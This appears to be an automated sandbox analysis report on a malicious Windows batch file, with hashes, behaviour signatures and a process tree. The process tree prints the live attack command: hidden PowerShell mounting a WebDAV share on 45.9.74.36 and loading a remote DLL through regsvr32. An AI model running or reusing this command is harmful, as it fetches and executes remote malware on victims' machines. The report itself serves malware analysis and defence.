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Analysis

  • max time kernel
    118s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20240705-en
  • resource tags

    arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
  • submitted
    19/07/2024, 06:45

General

  • Target

    22160257741816426666.bat

  • Size

    2KB

  • MD5

    40dfe6b737470a7ef0e7a4051e462249

  • SHA1

    bc71c3f175b07bf9f80abe6c5fd65d8b472d3fde

  • SHA256

    4ac8a043805ff64dea888fb3859d36f1a2e6a27fc9d36d64da9c887c528fb5a3

  • SHA512

    9016c35633718ed0350029f69f65b08ba292b9a3220fea7f0e284f8d54ed0c15dea98cef5eb4a648a1f13951b1706213c44e117244e4d798f266d7d89602aab0

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\22160257741816426666.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2084
    • C:\Program Files\Windows NT\Accessories\wordpad.exe
      "C:\Program Files\Windows NT\Accessories\wordpad.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      PID:1868
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\31692263011306.dll
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1304
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:2892
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\31692263011306.dll
          3⤵
            PID:2792

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • memory/1304-20-0x000000001B6F0000-0x000000001B9D2000-memory.dmp

        Filesize

        2.9MB

      • memory/1304-21-0x0000000002790000-0x0000000002798000-memory.dmp

        Filesize

        32KB